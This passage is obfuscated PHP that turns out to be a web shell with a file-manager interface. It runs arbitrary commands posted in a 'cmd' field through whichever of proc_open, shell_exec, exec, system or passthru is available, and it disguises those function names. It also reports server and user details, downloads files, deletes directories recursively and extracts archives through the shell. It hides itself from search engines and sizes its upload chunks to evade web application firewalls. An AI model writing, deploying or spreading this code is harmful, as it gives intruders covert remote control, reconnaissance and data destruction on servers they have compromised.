= $O3432 . DIRECTORY_SEPARATOR . $O3677; goto O3763; O3928: if (!empty($O3677)) { goto O7359; } goto O6796; O9055: case "\x63\x6f\x6d\155\x61\x6e\144": goto O6615; O8347: O2604: goto O7978; O0218: @chdir($O0983); goto O8441; O3213: $O6838 = "\160\x72\157\x63" . "\x5f" . "\x6f\x70\145\x6e"; goto O5021; O2686: O2680: goto O0456; O5625: $O3213 = @$O6838($O8625, $O4280, $O7710); goto O9049; O9484: O9605: goto O4114; O7834: @chdir($O3432); goto O7116; O0895: @$O0349($O8625 . "\x20\62\x3e\x26\x31"); goto O5342; O6477: if (function_exists($O4221)) { goto O7391; } goto O0129; O1104: if (function_exists($O6838)) { goto O9605; } goto O6477; O7498: O9969: goto O8160; O7978: $O0983 = getcwd(); goto O7834; O3483: goto O7124; goto O2686; O4856: $O6165 = stream_get_contents($O7710[2]); goto O2646; O3001: $O1860 = "\160\141\163\163" . "\x74\x68\162\165"; goto O1104; O3828: if (!empty($O8625)) { goto O2604; } goto O9930; O8035: goto O1184; goto O3585; O6615: $O8625 = $_POST["\x63\155\144"] ?? ''; goto O3828; O5504: ob_start(); goto O8529; O8160: goto O7124; goto O8543; O7817: $O3790 = ob_get_clean(); goto O4930; O4668: proc_close($O3213); goto O0517; O6358: fclose($O7710[0]); goto O7890; O1859: @chdir($O0983); goto O5847; O4930: O7124: goto O1859; O0129: if (function_exists($O1450)) { goto O2680; } goto O8813; O0278: $O1450 = "\x65\x78" . "\145\143"; goto O6935; O5342: $O3790 = ob_get_clean(); goto O7922; O5021: $O4221 = "\x73\x68\145\154\154" . "\137" . "\145\170\145\x63"; goto O0278; O7127: goto O7124; goto O0646; O2646: fclose($O7710[1]); goto O1944; O5471: O7001: goto O5504; O7116: $O3790 = ''; goto O3213; O7734: if (function_exists($O1860)) { goto O7001; } goto O0218; O2676: $O3790 = implode("\12", $O6541); goto O7127; O6935: $O0349 = "\x73\171\163" . "\164\145\x6d"; goto O3001; O0328: goto O7124; goto O9484; O7922: goto O7124; goto O5471; O9930: O1880(false, "\x43\157\x6d\155\x61\x6e\x64\40\x72\x65\161\x75\151\162\145\x64"); goto O8347; O0456: @$O1450($O8625 . "\x20\x32\76\46\x31", $O6541); goto O2676; O7890: $O3790 = stream_get_contents($O7710[1]); goto O4856; O8529: @$O1860($O8625 . "\x20\x32\x3e\x26\61"); goto O7817; O5994: $O3790 = @$O4221($O8625 . "\40\x32\x3e\46\x31"); goto O3483; O8813: if (function_exists($O0349)) { goto O0068; } goto O7734; O0517: $O3790 .= $O6165; goto O7498; O7603: ob_start(); goto O0895; O4114: $O4280 = [0 => ["\x70\151\160\145", "\x72"], 1 => ["\160\151\x70\145", "\x77"], 2 => ["\x70\x69\x70\145", "\x77"]]; goto O5625; O8543: O7391: goto O5994; O5847: o1880(true, '', ["\x6f\x75\x74\x70\x75\164" => $O3790 ?: "\x43\x6f\155\x6d\x61\x6e\144\x20\x65\x78\145\143\165\164\x65\x64"]); goto O8035; O0646: O0068: goto O7603; O1944: fclose($O7710[2]); goto O4668; O9049: if (!is_resource($O3213)) { goto O9969; } goto O6358; O8441: o1880(false, "\x4e\157\x20\x63\x6f\155\x6d\x61\156\x64\x20\146\165\x6e\143\x74\151\157\156\x20\141\166\x61\x69\154\141\x62\x6c\x65"); goto O0328; O3585: case "\x69\x6e\146\157": goto O7786; O4458: $O9897 = @get_current_user(); goto O4797; O0518: if (function_exists("\x67\145\x74\137\143\x75\162\x72\145\x6e\x74\137\165\163\x65\162")) { goto O9042; } goto O0368; O4558: $O3241 = $_SERVER["\x53\105\122\126\105\122\x5f\123\117\x46\124\x57\x41\x52\x45"] ?? "\x55\x6e\x6b\x6e\x6f\167\156"; goto O5566; O5566: $O5047 = $_SERVER["\122\x45\115\117\x54\x45\137\x41\x44\x44\122"] ?? "\x55\x6e\153\156\x6f\x77\156"; goto O8316; O1858: goto O6383; goto O4893; O4797: O6383: goto O7874; O4365: if (function_exists("\x70\157\163\x69\x78\137\x67\x65\x74\160\x77\165\151\144") && function_exists("\160\157\x73\x69\170\x5f\147\145\x74\x65\x75\151\x64")) { goto O7506; } goto O0518; O8131: $O9897 = $O5843["\x6e\141\x6d\x65"] ?? "\125\x6e\153\x6e\x6f\x77\156"; goto O1858; O0368: goto O6383; goto O6531; O8316: $O9152 = $_SERVER["\x53\x45\x52\x56\105\x52\x5f\x41\104\x44\x52"] ?? @gethostbyname($_SERVER["\x53\105\x52\x56\x45\x52\137\x4e\x41\x4d\x45"] ?? "\x6c\x6f\x63\141\154\x68\x6f\163\x74"); goto O0347; O4893: O9042: goto O4458; O9816: goto O1184; goto O7192; O7874: O1880(true, '', ["\151\156\146\x6f" => ["\163\x65\x72\166\x65\162\x5f\x6e\x61\x6d\x65" => $O5257, "\163\x65\162\166\145\x72\137\x73\157\146\x74\x77\x61\162\145" => $O3241, "\x6f\163" => PHP_OS, "\160\150\x70\137\166\145\162\x73\151\157\x6e" => PHP_VERSION, "\143\x6c\151\x65\x6e\x74\x5f\151\160" => $O5047, "\x73\145\x72\x76\x65\x72\x5f\151\160" => $O9152, "\143\165\x72\x72\145\156\164\137\144\151\162" => getcwd(), "\143\165\162\162\145\x6e\x74\x5f\x75\163\145\162" => $O9897, "\163\145\162\166\145\x72\x5f\x66\165\x6c\154" => php_uname()]]); goto O9816; O7786: $O5257 = $_SERVER["\123\105\122\x56\105\122\137\x4e\x41\x4d\105"] ?? "\125\156\153\156\x6f\x77\156"; goto O4558; O0347: $O9897 = "\125\156\x6b\156\157\167\x6e"; goto O4365; O6531: O7506: goto O9249; O9249: $O5843 = @posix_getpwuid(@posix_geteuid()); goto O8131; O7192: default: o1880(false, "\125\156\153\x6e\157\x77\x6e\x20\141\143\164\151\x6f\156"); } goto O2860; O6511: O5933: goto O8803; O9082: $O3432 = getcwd(); goto O4868; O5425: function O6079($O9173) { goto O3984; O9983: $O4171 = floor(($O9173 ? log($O9173) : 0) / log(1024)); goto O5679; O5042: return round($O9173, 2) . "\x20" . $O2954[$O4171]; goto O9748; O8579: return "\116\x2f\x41"; goto O2091; O8912: $O2954 = ["\x42", "\113\x42", "\115\x42", "\107\x42", "\x54\x42"]; goto O5667; O8070: $O9173 /= 1 << 10 * $O4171; goto O5042; O3984: if (!($O9173 === false)) { goto O1618; } goto O8579; O2091: O1618: goto O8912; O5679: $O4171 = min($O4171, count($O2954) - 1); goto O8070; O5667: $O9173 = max($O9173, 0); goto O9983; O9748: } goto O2981; O8475: exit; goto O5251; O1145: function O9570($O1656) { goto O6734; O6774: O2664: goto O2440; O8291: return true; goto O0437; O3751: if (is_dir($O1656)) { goto O7702; } goto O2532; O2440: return @rmdir($O1656); goto O2500; O6665: O7702: goto O4146; O4146: foreach (@scandir($O1656) as $O1913) { goto O2628; O2628: if (!($O1913 == "\x2e" || $O1913 == "\x2e\56")) { goto O5384; } goto O5257; O5257: goto O5399; goto O2160; O9782: return false; goto O4782; O2160: O5384: goto O8158; O4782: O7904: goto O8127; O8127: O5399: goto O1078; O8158: if (o9570($O1656 . DIRECTORY_SEPARATOR . $O1913)) { goto O7904; } goto O9782; O1078: } goto O6774; O2532: return @unlink($O1656); goto O6665; O6734: if (file_exists($O1656)) { goto O1414; } goto O8291; O0437: O1414: goto O3751; O2500: } goto O0747; O8138: $O3432 = $_GET["\160\x61\x74\150"] ?? getcwd(); goto O9213; O0449: if (empty($O3432) || $O3432 === "\57") { goto O0059; } goto O2151; O0747: function o9015($O7211, $O3432) { goto O8247; O8247: if (!(!file_exists($O7211) || is_dir($O7211))) { goto O8576; } goto O0743; O8650: goto O9972; goto O8685; O9076: if ($O1520->open($O7211) === true) { goto O6398; } goto O8045; O9811: $O8310 = $O1520->extractTo($O2510); goto O9143; O9979: $O8625 = "\x75\x6e\x72\x61\x72\x20\x78\x20\55\157\x2b\x20{$O8897}\x20{$O9519}\40\x32\76\x26\61"; goto O5044; O5044: $O3790 = $O6838($O8625); goto O4536; O8833: $O7239 = "\x45\170\x74\162\141\x63\x74\151\x6f\156\x20\x6e\157\x74\x20\141\x76\141\x69\x6c\x61\142\x6c\x65"; goto O8650; O5149: goto O4087; goto O3114; O8045: $O7239 = "\106\141\151\154\145\x64\40\x74\157\40\157\160\x65\156\40\172\x69\x70\40\x66\151\x6c\x65"; goto O7449; O9629: O4580: goto O9428; O2736: if (class_exists("\x5a\151\x70\x41\162\x63\x68\151\166\x65")) { goto O1058; } goto O0305; O1042: $O3790 = $O6838($O8625); goto O9931; O7908: $O3790 = $O6838($O8625); goto O3371; O7298: $O3790 = ''; goto O8161; O3078: goto O4580; goto O6773; O1209: if (!(!$O8310 && !$O7239)) { goto O2225; } goto O9203; O3114: O2719: goto O3430; O9931: $O8310 = $O3790 === null || $O3790 === ''; goto O3757; O0307: $O8310 = false; goto O7198; O2752: O1058: goto O2430; O4118: $O8625 = "\164\x61\162\40\x2d\170\146\40{$O8897}\40\55\x43\x20{$O9519}\40\x32\x3e\x26\61"; goto O7908; O8685: O2219: goto O8917; O5281: $O5232 = strtolower(pathinfo($O7211, PATHINFO_EXTENSION)); goto O5735; O1849: $O8310 = $O3790 === null || $O3790 === ''; goto O3023; O9854: O8576: goto O5281; O5735: $O2510 = $O3432; goto O0307; O8885: $O3790 = $O6838($O8625); goto O1849; O5320: if (function_exists($O6838)) { goto O2219; } goto O8833; O0610: if ($O5232 === "\162\141\162") { goto O4483; } goto O4727; O4459: $O9519 = escapeshellarg($O2510); goto O7298; O0305: $O7239 = "\x5a\151\160\x41\x72\143\x68\x69\x76\x65\x20\x6e\x6f\164\40\x61\166\x61\151\x6c\x61\x62\154\145"; goto O7794; O6773: O2854: goto O2736; O3653: O6398: goto O9811; O9189: O6356: goto O1823; O9428: return [$O8310, $O7239 ?: "\106\141\151\154\x65\144\x20\164\157\40\x65\170\164\162\x61\x63\x74\x20\x66\x69\154\x65"]; goto O7217; O2430: $O1520 = new ZipArchive(); goto O9076; O7794: goto O5218; goto O2752; O7969: if (in_array($O5232, ["\147\x7a", "\164\147\x7a"])) { goto O2719; } goto O9404; O1591: O9972: goto O3078; O0198: $O8625 = "\164\141\x72\x20\x2d\x78\x6a\x66\x20{$O8897}\x20\x2d\x43\40{$O9519}\x20\x32\x3e\46\61"; goto O8885; O8088: O7043: goto O0198; O7988: if ($O5232 === "\x7a\151\x70") { goto O2854; } goto O7567; O4727: $O7239 = "\x55\156\x73\x75\160\x70\157\162\164\x65\144\40\x61\x72\143\150\151\166\x65\40\x74\x79\160\145"; goto O0438; O4536: $O8310 = $O3790 === null || stripos($O3790, "\x41\154\154\x20\x4f\113") !== false; goto O5927; O9113: O2225: goto O1591; O0438: goto O4087; goto O4463; O3023: goto O4087; goto O7997; O9404: if ($O5232 === "\142\172\x32") { goto O7043; } goto O0610; O1823: O5218: goto O9629; O8917: $O8897 = escapeshellarg($O7211); goto O4459; O5927: O4087: goto O1209; O3430: $O8625 = "\x74\141\x72\40\x2d\170\172\x66\x20{$O8897}\x20\x2d\103\40{$O9519}\x20\x32\x3e\46\61"; goto O1042; O3371: $O8310 = $O3790 === null || $O3790 === ''; goto O5149; O0743: return [false, "\x46\x69\x6c\x65\x20\156\157\164\40\146\157\165\x6e\144"]; goto O9854; O4463: O3092: goto O4118; O9143: $O1520->close(); goto O9189; O7997: O4483: goto O9979; O7567: $O6838 = "\x73\x68\145\154\154" . "\137" . "\145\x78\145\x63"; goto O5320; O9203: $O7239 = "\106\x61\151\154\x65\144\40\x74\x6f\40\145\x78\164\162\x61\x63\x74\72\x20" . trim((string) $O3790); goto O9113; O7198: $O7239 = ''; goto O7988; O7449: goto O6356; goto O3653; O3757: goto O4087; goto O8088; O8161: if ($O5232 === "\164\x61\x72") { goto O3092; } goto O7969; O7217: } goto O4635; O9074: if (!($_SERVER["\x52\x45\x51\125\x45\x53\124\x5f\115\105\124\x48\x4f\x44"] === "\x50\x4f\123\124")) { goto O5764; } goto O2387; O5007: $O3432 = DIRECTORY_SEPARATOR; goto O7104; O9581: if ($O0377 !== false && is_dir($O0377)) { goto O5464; } goto O9082; O9391: O5464: goto O8279; O4760: header("\x58\x2d\x43\x6f\x6e\164\145\x6e\164\x2d\124\171\x70\145\x2d\117\160\164\151\x6f\x6e\x73\72\x20\x6e\157\163\x6e\x69\146\x66"); goto O9074; O5251: O4625: goto O6983; O6954: echo addslashes(dirname(__FILE__)); goto O5132; O2981: function O1719($O3677) { goto O0112; O3939: return "\x30\x30\x30\x30"; goto O6505; O0112: $O1552 = @fileperms($O3677); goto O5551; O6505: O2293: goto O1601; O1601: return substr(sprintf("\x25\x6f", $O1552), -4); goto O5163; O5551: if (!($O1552 === false)) { goto O2293; } goto O3939; O5163: } goto O9712; O0506: header("\103\141\143\150\145\55\103\157\156\x74\x72\157\154\72\40\155\165\x73\164\x2d\x72\x65\166\141\154\x69\144\x61\164\x65"); goto O3762; O2145: if (!(!file_exists($O7211) || !is_file($O7211))) { goto O5933; } goto O4661; O4626: O5764: goto O0072; O2151: $O0377 = realpath($O3432); goto O9581; O0583: readfile($O7211); goto O8475; O2387: header("\x43\x6f\156\x74\x65\156\x74\x2d\x54\x79\160\x65\x3a\40\x61\x70\160\154\151\x63\x61\x74\151\157\156\57\x6a\x73\x6f\x6e"); goto O0382; O0060: $O3432 = $_POST["\x70\141\x74\x68"] ?? getcwd(); goto O0449; O4027: if (!empty($O3677)) { goto O8755; } goto O7501; O2368: $O7211 = $O3432 . DIRECTORY_SEPARATOR . $O3677; goto O2145; O2706: function O1880($O8310, $O7470 = '', $O2488 = array()) { echo json_encode(array_merge(["\163\x75\x63\143\145\x73\x73" => $O8310, "\155\145\x73\x73\141\x67\x65" => $O7470], $O2488)); exit; } goto O5425; O7501: die("\x46\x69\x6c\145\x20\156\157\x74\x20\x73\160\145\143\x69\146\151\145\144"); goto O2562; O9213: $O3677 = $_GET["\x66\151\x6c\145"] ?? ''; goto O4027; O7104: O9985: goto O2706; O3493: O1184: goto O4626; O4005: header("\130\55\122\x6f\142\x6f\164\x73\x2d\124\x61\147\x3a\x20\x6e\x6f\x69\156\144\x65\170\x2c\x20\156\157\146\x6f\x6c\x6c\x6f\167\54\40\156\157\141\162\x63\150\151\166\x65\x2c\40\156\157\163\x6e\x69\160\x70\x65\164\54\x20\x6e\x6f\x69\155\x61\147\x65\x69\156\144\x65\x78"); goto O2767; O7732: header("\103\x6f\156\164\x65\156\x74\55\x44\x69\163\x70\x6f\163\x69\164\x69\x6f\156\72\40\141\x74\164\141\143\x68\x6d\145\156\164\73\40\x66\151\154\x65\x6e\x61\155\x65\75\42" . basename($O3677) . "\42"); goto O7759; O7759: header("\x43\x6f\x6e\x74\145\x6e\164\x2d\114\145\156\147\x74\x68\x3a\40" . filesize($O7211)); goto O0506; O9712: function o9322($O3677) { return @is_writable($O3677); } goto O1145; O8991: O1507: goto O1484; O4868: goto O1507; goto O9391; O1484: goto O9985; goto O8898; O5132: echo "\x22\73\40\x2f\x2f\40\154\157\x6b\141\163\x69\x20\x66\x69\154\x65\40\x6d\x61\156\x61\x67\x65\162\xd\12\x20\x20\x20\40\x20\x20\x20\x20\x6c\x65\x74\40\x73\x65\x6c\145\143\164\x65\144\x49\164\145\x6d\x73\x20\x3d\40\133\x5d\73\xd\12\x20\40\40\40\40\40\40\40\154\x65\x74\x20\143\165\x72\162\145\x6e\164\x45\144\x69\164\106\151\x6c\145\40\x3d\x20\x27\x27\73\15\12\40\x20\40\40\x20\40\40\40\154\145\164\40\143\x75\x72\162\145\x6e\x74\x43\x68\155\x6f\144\106\151\x6c\x65\x20\75\40\x27\47\73\15\12\x20\x20\40\x20\x20\40\40\40\154\145\x74\x20\143\165\x72\x72\145\156\164\122\145\x6e\x61\x6d\145\x46\151\x6c\x65\40\x3d\40\47\x27\73\xd\xa\40\40\40\x20\x20\40\x20\x20\x6c\x65\164\x20\144\x65\x6c\x65\x74\x65\103\141\154\154\142\x61\143\153\x20\x3d\40\x6e\165\154\x6c\73\15\xa\15\12\40\40\40\40\40\40\x20\40\146\x75\x6e\x63\x74\x69\x6f\x6e\40\x73\x68\x6f\167\124\157\x61\163\164\x28\x6d\x65\163\163\x61\x67\x65\54\40\164\x79\x70\145\x20\75\40\47\163\x75\143\143\145\x73\163\47\x29\40\x7b\xd\xa\x20\x20\40\40\x20\40\x20\x20\40\40\x20\40\143\x6f\156\163\x74\x20\164\157\x61\x73\164\x20\x3d\x20\x64\x6f\143\x75\155\x65\156\164\x2e\x67\x65\164\105\154\145\155\145\156\x74\102\171\111\144\50\x27\164\x6f\x61\x73\164\47\51\x3b\xd\12\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\164\x6f\141\163\x74\x2e\164\x65\170\164\x43\157\156\164\145\156\164\40\x3d\40\155\x65\x73\163\x61\x67\145\73\15\12\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\164\157\x61\163\164\56\143\x6c\141\163\x73\x4e\141\x6d\145\40\75\40\x60\164\x6f\x61\x73\164\40\44\x7b\x74\x79\160\145\x7d\x60\x3b\15\12\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x74\x6f\141\x73\164\56\163\x74\x79\154\145\56\144\x69\x73\160\154\141\171\40\x3d\x20\x27\142\154\x6f\x63\153\x27\73\xd\xa\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\163\145\164\124\151\155\x65\x6f\x75\164\50\50\51\x20\75\76\40\x7b\40\164\x6f\141\163\x74\56\x73\164\171\x6c\145\56\144\x69\x73\x70\x6c\141\x79\x20\x3d\40\x27\x6e\x6f\156\145\x27\x3b\40\x7d\54\x20\x33\x30\x30\x30\x29\73\xd\xa\40\x20\40\40\x20\x20\x20\x20\x7d\xd\xa\15\12\40\40\40\40\40\40\x20\x20\x66\165\x6e\143\x74\x69\157\x6e\40\163\x77\x69\164\x63\x68\124\x61\x62\50\x74\x61\x62\x2c\x20\145\x76\x65\x6e\164\x29\x20\x7b\xd\12\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\x64\x6f\143\x75\155\145\156\x74\x2e\x71\165\145\x72\171\x53\145\x6c\x65\143\x74\157\x72\x41\154\154\50\47\x2e\164\141\x62\47\51\56\x66\x6f\162\105\x61\143\150\50\164\40\75\x3e\40\164\56\143\154\x61\163\163\114\151\163\164\x2e\x72\145\155\x6f\166\x65\x28\47\x61\143\x74\x69\166\145\x27\51\51\73\xd\12\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\144\157\143\x75\155\x65\x6e\x74\x2e\x71\x75\x65\162\171\x53\145\x6c\145\143\164\x6f\162\101\154\x6c\50\47\56\164\141\142\x2d\x63\x6f\x6e\x74\145\156\x74\x27\x29\56\146\157\162\x45\141\x63\x68\x28\x63\40\x3d\76\40\x63\x2e\x63\154\x61\163\163\114\x69\163\164\x2e\162\x65\x6d\157\166\145\50\47\x61\143\x74\151\166\145\x27\51\x29\x3b\15\12\40\40\40\x20\x20\x20\x20\40\x20\40\40\x20\145\x76\x65\156\x74\x2e\164\x61\x72\147\x65\x74\56\x63\154\x61\163\x73\114\x69\163\164\x2e\141\144\144\x28\47\x61\143\164\151\166\145\47\51\73\15\12\40\40\40\40\40\40\40\40\x20\40\x20\40\144\157\143\165\155\145\156\164\x2e\x67\145\x74\105\154\x65\155\145\x6e\164\102\x79\111\144\50\x60\44\173\x74\141\142\x7d\x2d\164\141\142\140\x29\x2e\143\x6c\141\x73\163\114\x69\x73\x74\x2e\141\144\x64\x28\47\x61\x63\x74\x69\166\x65\47\51\73\xd\12\x20\x20\40\40\40\40\x20\x20\175\xd\12\15\xa\40\x20\x20\x20\x20\40\x20\40\x66\x75\156\143\x74\151\x6f\x6e\x20\163\150\x6f\167\115\x6f\144\x61\154\50\151\144\51\x20\x7b\15\xa\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\143\x6f\x6e\x73\x74\x20\x6d\x6f\x64\141\154\x20\75\x20\144\157\x63\165\155\145\x6e\x74\56\x67\145\164\105\x6c\145\x6d\x65\x6e\164\102\x79\111\x64\x28\x69\x64\x29\x3b\xd\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\155\157\x64\141\x6c\x2e\143\x6c\x61\x73\163\114\x69\x73\x74\56\141\x64\144\50\47\163\150\157\x77\47\x29\x3b\xd\12\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\57\x2f\40\101\x64\x64\x20\105\x53\103\x20\x6b\145\171\x20\x6c\x69\x73\x74\x65\x6e\x65\x72\15\xa\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x64\157\x63\165\x6d\x65\156\x74\x2e\141\x64\144\x45\x76\145\x6e\x74\x4c\x69\x73\164\x65\156\145\x72\x28\x27\x6b\x65\x79\144\157\167\x6e\x27\x2c\x20\x68\141\156\x64\x6c\x65\105\163\x63\x4b\x65\x79\51\73\15\12\40\40\x20\x20\x20\x20\x20\x20\x7d\15\xa\15\12\x20\x20\x20\40\x20\40\x20\x20\x66\165\156\143\164\x69\157\156\x20\143\154\x6f\163\x65\115\x6f\144\x61\x6c\x28\x69\144\x29\x20\173\xd\12\40\40\40\40\40\40\40\x20\40\40\x20\x20\143\157\156\163\x74\40\x6d\157\144\x61\154\40\x3d\x20\144\157\143\x75\x6d\145\x6e\x74\x2e\x67\x65\x74\x45\154\145\x6d\145\x6e\x74\x42\x79\x49\144\50\x69\144\x29\73\xd\12\x20\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\155\157\144\141\154\x2e\x63\x6c\x61\x73\163\114\151\x73\164\x2e\x72\x65\155\157\x76\x65\x28\x27\x73\x68\157\167\x27\x29\73\xd\xa\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\x2f\x2f\x20\122\145\x6d\x6f\x76\145\x20\105\x53\x43\x20\x6b\145\x79\x20\x6c\x69\163\x74\x65\156\145\x72\xd\xa\x20\x20\x20\40\40\40\40\x20\40\x20\x20\x20\144\157\x63\x75\155\145\x6e\164\x2e\x72\x65\155\157\x76\145\105\166\x65\x6e\x74\114\151\163\164\x65\x6e\145\x72\50\x27\153\x65\171\x64\157\x77\x6e\47\x2c\40\150\x61\x6e\x64\x6c\145\105\x73\143\113\x65\171\51\x3b\15\12\x20\x20\40\x20\40\x20\40\x20\175\xd\12\15\xa\x20\x20\40\x20\40\x20\40\x20\x66\165\156\143\164\151\157\156\x20\150\141\x6e\144\154\145\x45\163\143\113\x65\x79\50\x65\51\x20\173\xd\xa\40\40\x20\40\40\x20\x20\x20\40\40\x20\x20\151\x66\x20\50\145\x2e\153\x65\x79\x20\x3d\75\75\40\47\x45\163\x63\x61\160\145\47\x29\40\173\xd\12\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x2f\57\40\103\x6c\x6f\163\x65\40\141\154\154\40\155\157\x64\141\154\163\15\12\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\144\x6f\143\165\x6d\x65\156\164\56\x71\x75\145\x72\x79\x53\145\x6c\x65\x63\x74\x6f\x72\x41\154\154\50\47\x2e\x6d\157\144\141\x6c\55\157\x76\145\x72\x6c\x61\x79\56\163\x68\157\x77\x27\51\56\146\157\162\105\141\143\150\50\x6d\x6f\144\x61\x6c\x20\x3d\x3e\x20\x7b\xd\xa\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\40\40\40\143\x6c\157\163\145\115\157\144\141\154\x28\155\157\x64\x61\x6c\56\x69\144\x29\73\15\xa\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\x20\x7d\x29\x3b\15\12\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\x7d\15\xa\x20\40\x20\40\x20\40\40\40\175\xd\xa\xd\xa\x20\x20\x20\40\40\40\40\40\x66\165\x6e\143\x74\151\157\x6e\40\163\x68\157\167\x43\162\x65\141\164\145\x4d\x6f\144\141\x6c\x28\51\40\x7b\xd\xa\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x64\157\x63\x75\x6d\x65\x6e\x74\x2e\147\145\164\105\154\x65\155\145\x6e\x74\x42\171\x49\144\50\47\146\x6f\x6c\144\x65\x72\116\x61\155\145\47\51\56\x76\x61\x6c\x75\145\40\x3d\40\x27\x27\x3b\xd\12\x20\40\x20\40\40\x20\40\40\40\x20\40\40\163\x68\x6f\167\115\x6f\144\141\154\x28\x27\x63\162\145\x61\x74\145\x4d\x6f\x64\x61\154\47\x29\x3b\15\xa\40\x20\40\x20\x20\x20\40\40\x7d\15\xa\xd\xa\x20\x20\40\x20\40\40\40\40\146\x75\x6e\x63\x74\x69\157\x6e\40\163\150\x6f\x77\x43\x72\145\x61\x74\145\x46\x69\x6c\145\x4d\157\144\141\154\x28\x29\40\x7b\xd\12\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x64\x6f\x63\x75\155\145\x6e\164\56\x67\145\x74\x45\154\x65\x6d\x65\156\x74\102\171\x49\144\50\47\x66\x69\x6c\145\116\x61\155\x65\47\51\x2e\x76\x61\x6c\x75\x65\x20\75\x20\47\47\73\xd\12\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x73\150\157\167\x4d\x6f\144\141\154\50\47\x63\162\x65\141\x74\145\106\x69\154\x65\115\x6f\144\x61\154\x27\51\73\15\xa\40\x20\x20\40\40\40\40\40\x7d\15\12\15\xa\40\40\40\x20\40\40\x20\x20\146\165\156\143\164\151\x6f\x6e\x20\164\162\151\x67\147\x65\162\125\160\x6c\x6f\141\144\x28\x29\40\x7b\15\12\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\144\x6f\143\165\x6d\145\x6e\x74\x2e\x67\x65\x74\105\154\145\155\145\156\x74\102\171\111\x64\50\x27\x75\x70\154\x6f\141\x64\x46\151\x6c\x65\x27\x29\x2e\143\x6c\x69\143\x6b\x28\x29\73\15\xa\40\40\x20\40\40\40\x20\40\175\15\12\x20\x20\x20\x20\40\40\40\x20\x66\165\x6e\x63\x74\x69\x6f\x6e\x20\x6f\x70\x65\156\103\x68\165\x6e\x6b\125\x70\x6c\157\x61\144\145\x72\50\x29\40\173\xd\xa\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x64\x6f\143\x75\155\x65\x6e\164\56\x67\145\x74\105\154\x65\155\145\156\x74\x42\x79\x49\x64\x28\x27\x63\x68\x75\x6e\x6b\125\x70\154\x6f\141\x64\111\x6e\x70\165\x74\47\51\x2e\x63\x6c\151\143\x6b\x28\x29\x3b\15\12\x20\40\40\40\x20\x20\x20\x20\x7d\xd\12\40\40\x20\x20\40\x20\x20\40\x63\x6f\x6e\x73\x74\40\103\110\x55\x4e\x4b\137\x53\111\132\x45\x20\75\x20\61\60\x32\64\x20\52\40\x31\60\62\x34\x3b\40\57\x2f\x20\x31\x20\x4d\x42\40\x28\141\x6d\x61\156\x20\127\101\106\x29\xd\xa\xd\xa\40\40\40\x20\x20\x20\40\40\141\163\171\156\x63\x20\x66\x75\x6e\143\164\151\157\156\x20\141\x6a\x61\170\x28\x61\143\x74\151\157\156\54\x20\144\x61\164\141\x20\x3d\x20\173\175\x29\x20\173\15\xa\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\144\x61\164\141\x2e\x61\x63\x74\151\x6f\156\40\x3d\40\141\x63\164\151\157\x6e\x3b\15\12\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x69\x66\40\x28\41\x28\47\x70\141\164\150\47\40\x69\156\40\x64\141\x74\141\51\x29\40\173\xd\12\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\144\x61\x74\x61\56\x70\141\x74\x68\40\x3d\40\x63\x75\162\x72\145\156\x74\120\x61\x74\x68\x20\174\174\x20\151\x6e\151\x74\151\x61\x6c\x50\x61\164\150\x3b\xd\12\x20\x20\40\40\40\40\40\40\40\x20\40\x20\x7d\15\12\xd\xa\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x20\164\x72\171\40\173\15\12\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\40\40\40\x20\143\x6f\x6e\x73\164\x20\162\145\x73\x70\x6f\x6e\x73\x65\x20\x3d\40\x61\x77\141\151\164\x20\x66\145\x74\x63\150\50\47\x3f\47\x2c\40\x7b\15\12\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\x6d\145\x74\x68\x6f\x64\x3a\x20\47\120\117\x53\124\x27\54\xd\12\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\40\40\x20\40\40\x68\145\x61\x64\x65\x72\x73\x3a\x20\173\x20\47\x43\157\x6e\164\145\x6e\164\x2d\x54\171\x70\145\x27\x3a\x20\x27\141\160\x70\x6c\x69\x63\x61\x74\151\157\156\x2f\170\x2d\167\167\167\55\146\x6f\x72\155\55\165\x72\154\x65\x6e\x63\x6f\144\145\x64\47\40\175\x2c\15\xa\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\142\157\x64\171\x3a\40\156\x65\167\40\125\x52\x4c\123\145\x61\162\143\x68\120\x61\x72\141\155\x73\50\x64\x61\164\141\x29\xd\xa\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\175\x29\x3b\15\xa\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x72\x65\164\x75\162\156\x20\141\167\141\x69\164\40\x72\x65\163\160\157\156\x73\x65\x2e\x6a\x73\157\x6e\x28\x29\x3b\xd\xa\x20\40\40\40\40\x20\x20\40\x20\40\x20\40\x7d\40\143\x61\164\143\x68\x20\50\145\x29\x20\173\xd\12\40\40\40\40\x20\x20\40\40\40\40\x20\40\40